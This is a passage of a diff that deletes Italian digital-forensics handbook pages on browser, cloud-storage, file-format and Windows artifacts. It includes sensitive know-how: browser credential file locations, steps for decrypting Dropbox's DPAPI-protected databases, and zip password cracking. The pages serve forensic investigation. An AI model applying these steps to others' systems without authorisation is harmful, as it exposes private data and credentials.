[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: Segnalibri dell'utente. -- **Web Data**: Contiene la cronologia dei moduli. -- **Favicons**: Memorizza le favicon dei siti web. -- **Login Data**: Include le credenziali di accesso come nomi utente e password. -- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione attuale e sulle schede aperte. -- **Last Session**/**Last Tabs**: Informazioni sui siti attivi durante l'ultima sessione prima che Chrome fosse chiuso. -- **Extensions**: Directory per le estensioni e gli addon del browser. -- **Thumbnails**: Memorizza le miniature dei siti web. -- **Preferences**: Un file ricco di informazioni, incluse le impostazioni per plugin, estensioni, pop-up, notifiche e altro. -- **Browser’s built-in anti-phishing**: Per controllare se la protezione anti-phishing e malware è attivata, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output. - -## **Recupero Dati SQLite DB** - -Come puoi osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). - -## **Internet Explorer 11** - -Internet Explorer 11 gestisce i propri dati e metadati in diverse posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione. - -### Archiviazione dei Metadati - -I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile discernere le specifiche tabelle o contenitori in cui è memorizzato ciascun segmento di dati, inclusi i dettagli della cache per altri strumenti Microsoft come Skype. - -### Ispezione della Cache - -Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome del file, directory, conteggio degli accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache. - -### Gestione dei Cookie - -I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggi di accesso e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria. - -### Dettagli dei Download - -I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. - -### Cronologia di Navigazione - -Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono i tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. - -### URL Digitati - -Gli URL digitati e i loro tempi di utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input. - -## Microsoft Edge - -Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono: - -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiave includono: - -- **History.db**: Contiene le tabelle `history_visits` e `history_items` con URL e timestamp delle visite. Usa `sqlite3` per interrogare. -- **Downloads.plist**: Informazioni sui file scaricati. -- **Bookmarks.plist**: Memorizza gli URL dei segnalibri. -- **TopSites.plist**: Siti più visitati. -- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperare. -- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per analizzare. -- **LastSession.plist**: Schede dell'ultima sessione. Usa `plutil` per analizzare. -- **Browser’s built-in anti-phishing**: Controlla utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva. - -## Opera - -I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per cronologia e download. - -- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` utilizzando `grep`. - -Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi browser web. - -## Riferimenti - -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Libro: OS X Incident Response: Scripting and Analysis Di Jaron Bradley pag 123** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md deleted file mode 100644 index 655283ac9..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ /dev/null @@ -1,42 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Alcune cose che potrebbero essere utili per eseguire il debug/deobfuscate un file VBS malevolo: - -## echo -```bash -Wscript.Echo "Like this?" -``` -## Commenti -```bash -' this is a comment -``` -## Test -```bash -cscript.exe file.vbs -``` -## Scrivere dati in un file -```js -Function writeBinary(strBinary, strPath) - -Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - -' below lines purpose: checks that write access is possible! -Dim oTxtStream - -On Error Resume Next -Set oTxtStream = oFSO.createTextFile(strPath) - -If Err.number <> 0 Then MsgBox(Err.message) : Exit Function -On Error GoTo 0 - -Set oTxtStream = Nothing -' end check of write access - -With oFSO.createTextFile(strPath) -.Write(strBinary) -.Close -End With - -End Function -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md deleted file mode 100644 index 28a0e6c1c..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ /dev/null @@ -1,97 +0,0 @@ -# Local Cloud Storage - -{{#include ../../../banners/hacktricks-training.md}} - - -## OneDrive - -In Windows, puoi trovare la cartella OneDrive in `\Users\\AppData\Local\Microsoft\OneDrive`. E all'interno di `logs\Personal` è possibile trovare il file `SyncDiagnostics.log` che contiene alcuni dati interessanti riguardo ai file sincronizzati: - -- Dimensione in byte -- Data di creazione -- Data di modifica -- Numero di file nel cloud -- Numero di file nella cartella -- **CID**: ID univoco dell'utente OneDrive -- Tempo di generazione del report -- Dimensione dell'HD del sistema operativo - -Una volta trovato il CID, è consigliato **cercare file contenenti questo ID**. Potresti essere in grado di trovare file con il nome: _**\.ini**_ e _**\.dat**_ che potrebbero contenere informazioni interessanti come i nomi dei file sincronizzati con OneDrive. - -## Google Drive - -In Windows, puoi trovare la cartella principale di Google Drive in `\Users\\AppData\Local\Google\Drive\user_default`\ -Questa cartella contiene un file chiamato Sync_log.log con informazioni come l'indirizzo email dell'account, nomi dei file, timestamp, hash MD5 dei file, ecc. Anche i file eliminati appaiono in quel file di log con il corrispondente MD5. - -Il file **`Cloud_graph\Cloud_graph.db`** è un database sqlite che contiene la tabella **`cloud_graph_entry`**. In questa tabella puoi trovare il **nome** dei **file sincronizzati**, il tempo di modifica, la dimensione e il checksum MD5 dei file. - -I dati della tabella del database **`Sync_config.db`** contengono l'indirizzo email dell'account, il percorso delle cartelle condivise e la versione di Google Drive. - -## Dropbox - -Dropbox utilizza **database SQLite** per gestire i file. In questo\ -Puoi trovare i database nelle cartelle: - -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` - -E i database principali sono: - -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx - -L'estensione ".dbx" significa che i **database** sono **criptati**. Dropbox utilizza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) - -Per comprendere meglio la crittografia che utilizza Dropbox, puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). - -Tuttavia, le informazioni principali sono: - -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 - -A parte queste informazioni, per decriptare i database hai ancora bisogno di: - -- La **chiave DPAPI criptata**: Puoi trovarla nel registro all'interno di `NTUSER.DAT\Software\Dropbox\ks\client` (esporta questi dati come binari) -- I rami **`SYSTEM`** e **`SECURITY`** -- Le **chiavi master DPAPI**: Che possono essere trovate in `\Users\\AppData\Roaming\Microsoft\Protect` -- Il **nome utente** e la **password** dell'utente Windows - -Poi puoi usare lo strumento [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** - -![](<../../../images/image (448).png>) - -Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [cyber_chef receipt]() mettendo la chiave primaria come "passphrase" all'interno della ricetta. - -L'hex risultante è la chiave finale utilizzata per criptare i database che può essere decriptata con: -```bash -sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db -``` -Il **`config.dbx`** database contiene: - -- **Email**: L'email dell'utente -- **usernamedisplayname**: Il nome dell'utente -- **dropbox_path**: Percorso dove si trova la cartella dropbox -- **Host_id: Hash** utilizzato per autenticarsi nel cloud. Questo può essere revocato solo dal web. -- **Root_ns**: Identificatore dell'utente - -Il **`filecache.db`** database contiene informazioni su tutti i file e le cartelle sincronizzati con Dropbox. La tabella `File_journal` è quella con più informazioni utili: - -- **Server_path**: Percorso dove si trova il file all'interno del server (questo percorso è preceduto dal `host_id` del client). -- **local_sjid**: Versione del file -- **local_mtime**: Data di modifica -- **local_ctime**: Data di creazione - -Altre tabelle all'interno di questo database contengono informazioni più interessanti: - -- **block_cache**: hash di tutti i file e le cartelle di Dropbox -- **block_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal` -- **mount_table**: Cartelle condivise di dropbox -- **deleted_fields**: File eliminati da Dropbox -- **date_added** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md deleted file mode 100644 index 666bf6c4e..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ /dev/null @@ -1,18 +0,0 @@ -# Analisi dei file Office - -{{#include ../../../banners/hacktricks-training.md}} - -Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto: - -Microsoft ha creato molti formati di documenti office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli obiettivi per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite decompressione, rivelando la gerarchia di file e cartelle e i contenuti dei file XML. - -Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Tecniche per nascondere dati in questi file sono state documentate, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF. - -Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano a identificare e analizzare le macro incorporate, che spesso fungono da vettori per la consegna di malware, tipicamente scaricando ed eseguendo payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di osservazione. - -L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`. -```bash -sudo pip3 install -U oletools -olevba -c /path/to/document #Extract macros -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md deleted file mode 100644 index 5b6235102..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ /dev/null @@ -1,20 +0,0 @@ -# Analisi dei file PDF - -{{#include ../../../banners/hacktricks-training.md}} - -**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) - -Il formato PDF è noto per la sua complessità e il potenziale di nascondere dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento al [materiale introduttivo di Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami. - -Per un'esplorazione o manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere celati in: - -- Livelli invisibili -- Formato di metadati XMP di Adobe -- Generazioni incrementali -- Testo dello stesso colore dello sfondo -- Testo dietro immagini o immagini sovrapposte -- Commenti non visualizzati - -Per un'analisi personalizzata dei PDF, si possono utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di parsing su misura. Inoltre, il potenziale del PDF per la memorizzazione di dati nascosti è così vasto che risorse come la guida della NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono ancora preziose informazioni. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono fornire ulteriori letture sull'argomento. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md deleted file mode 100644 index e75c7f967..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -I file **PNG** sono molto apprezzati nelle **sfide CTF** per la loro **compressione senza perdita**, rendendoli ideali per incorporare dati nascosti. Strumenti come **Wireshark** consentono l'analisi dei file PNG dissecando i loro dati all'interno dei pacchetti di rete, rivelando informazioni incorporate o anomalie. - -Per controllare l'integrità dei file PNG e riparare la corruzione, **pngcheck** è uno strumento cruciale, che offre funzionalità da riga di comando per convalidare e diagnosticare i file PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando i file sono oltre semplici riparazioni, servizi online come [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) forniscono una soluzione web per **riparare PNG corrotti**, aiutando nel recupero di dati cruciali per i partecipanti al CTF. - -Queste strategie sottolineano l'importanza di un approccio completo nei CTF, utilizzando un mix di strumenti analitici e tecniche di riparazione per scoprire e recuperare dati nascosti o persi. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md deleted file mode 100644 index f3aa85528..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**La manipolazione di file audio e video** è un elemento fondamentale nelle **sfide forensi CTF**, sfruttando **steganografia** e analisi dei metadati per nascondere o rivelare messaggi segreti. Strumenti come **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** sono essenziali per ispezionare i metadati dei file e identificare i tipi di contenuto. - -Per le sfide audio, **[Audacity](http://www.audacityteam.org/)** si distingue come uno strumento principale per visualizzare forme d'onda e analizzare spettrogrammi, essenziali per scoprire testi codificati nell'audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** è altamente raccomandato per un'analisi dettagliata degli spettrogrammi. **Audacity** consente la manipolazione audio come rallentare o invertire tracce per rilevare messaggi nascosti. **[Sox](http://sox.sourceforge.net/)**, un'utilità da riga di comando, eccelle nella conversione e modifica di file audio. - -La manipolazione dei **Bit meno significativi (LSB)** è una tecnica comune nella steganografia audio e video, sfruttando i chunk di dimensioni fisse dei file multimediali per incorporare dati in modo discreto. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** è utile per decodificare messaggi nascosti come **toni DTMF** o **codice Morse**. - -Le sfide video spesso coinvolgono formati contenitore che raggruppano flussi audio e video. **[FFmpeg](http://ffmpeg.org/)** è il punto di riferimento per analizzare e manipolare questi formati, capace di demultiplexare e riprodurre contenuti. Per gli sviluppatori, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra le capacità di FFmpeg in Python per interazioni avanzate scriptabili. - -Questa gamma di strumenti sottolinea la versatilità richiesta nelle sfide CTF, dove i partecipanti devono impiegare un ampio spettro di tecniche di analisi e manipolazione per scoprire dati nascosti all'interno di file audio e video. - -## Riferimenti - -- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md deleted file mode 100644 index 3a0367632..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ /dev/null @@ -1,21 +0,0 @@ -# ZIPs tricks - -{{#include ../../../banners/hacktricks-training.md}} - -**Strumenti da riga di comando** per gestire **file zip** sono essenziali per diagnosticare, riparare e decifrare file zip. Ecco alcune utilità chiave: - -- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi. -- **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato del file zip. -- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli. -- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il cracking a forza bruta delle password zip, efficace per password fino a circa 7 caratteri. - -La [specifica del formato del file Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip. - -È cruciale notare che i file zip protetti da password **non criptano i nomi dei file o le dimensioni dei file** al loro interno, un difetto di sicurezza non condiviso con i file RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il metodo più vecchio ZipCrypto sono vulnerabili a un **attacco in chiaro** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per decifrare la password del zip, una vulnerabilità dettagliata nell'[articolo di HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo documento accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo attacco in chiaro, dimostrando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili. - -## References - -- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md deleted file mode 100644 index e85d1a32f..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ /dev/null @@ -1,498 +0,0 @@ -# Windows Artifacts - -## Windows Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - - -## Generic Windows Artifacts - -### Windows 10 Notifications - -Nel percorso `\Users\\AppData\Local\Microsoft\Windows\Notifications` puoi trovare il database `appdb.dat` (prima dell'anniversario di Windows) o `wpndatabase.db` (dopo l'anniversario di Windows). - -All'interno di questo database SQLite, puoi trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti. - -### Timeline - -Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite. - -Il database si trova nel percorso `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). - -### ADS (Alternate Data Streams) - -I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file. - -## **File Backups** - -### Recycle Bin - -In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\ -Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici: - -- `$I{id}`: Informazioni sul file (data di quando è stato eliminato) -- `$R{id}`: Contenuto del file - -![](<../../../images/image (486).png>) - -Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10). -``` -.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle -``` -![](<../../../images/image (495) (1) (1) (1).png>) - -### Volume Shadow Copies - -Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso. - -Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente: - -![](<../../../images/image (520).png>) - -Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy. - -![](<../../../images/image (521).png>) - -L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non eseguire il backup**: - -![](<../../../images/image (522).png>) - -Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`. - -### Office AutoSaved Files - -Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` - -## Shell Items - -Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file. - -### Recent Documents (LNK) - -Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in: - -- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` - -Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna. - -Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi. - -Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato. - -Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/). - -In questo strumento troverai **2 set** di timestamp: - -- **Primo Set:** -1. FileModifiedDate -2. FileAccessDate -3. FileCreationDate -- **Secondo Set:** -1. LinkModifiedDate -2. LinkAccessDate -3. LinkCreationDate. - -Il primo set di timestamp fa riferimento ai **timestamp del file stesso**. Il secondo set fa riferimento ai **timestamp del file collegato**. - -Puoi ottenere le stesse informazioni eseguendo lo strumento CLI di Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) -``` -LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs -``` -In questo caso, le informazioni verranno salvate all'interno di un file CSV. - -### Jumplists - -Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**. - -I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione. - -I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito). - -Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**. - -Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). - -![](<../../../images/image (474).png>) - -(_Nota che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso_) - -### Shellbags - -[**Segui questo link per scoprire cosa sono i shellbags.**](interesting-windows-registry-keys.md#shellbags) - -## Uso delle USB di Windows - -È possibile identificare che un dispositivo USB è stato utilizzato grazie alla creazione di: - -- Cartella Recenti di Windows -- Cartella Recenti di Microsoft Office -- Jumplists - -Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE: - -![](<../../../images/image (476).png>) - -I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag. - -### Informazioni sul Registro - -[Controlla questa pagina per scoprire](interesting-windows-registry-keys.md#usb-information) quali chiavi di registro contengono informazioni interessanti sui dispositivi USB connessi. - -### setupapi - -Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`). - -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) - -### USB Detective - -[**USBDetective**](https://usbdetective.com) può essere utilizzato per ottenere informazioni sui dispositivi USB che sono stati connessi a un'immagine. - -![](<../../../images/image (483).png>) - -### Pulizia Plug and Play - -Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione. - -Il compito si trova al seguente percorso: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. - -Uno screenshot che mostra il contenuto del compito è fornito: 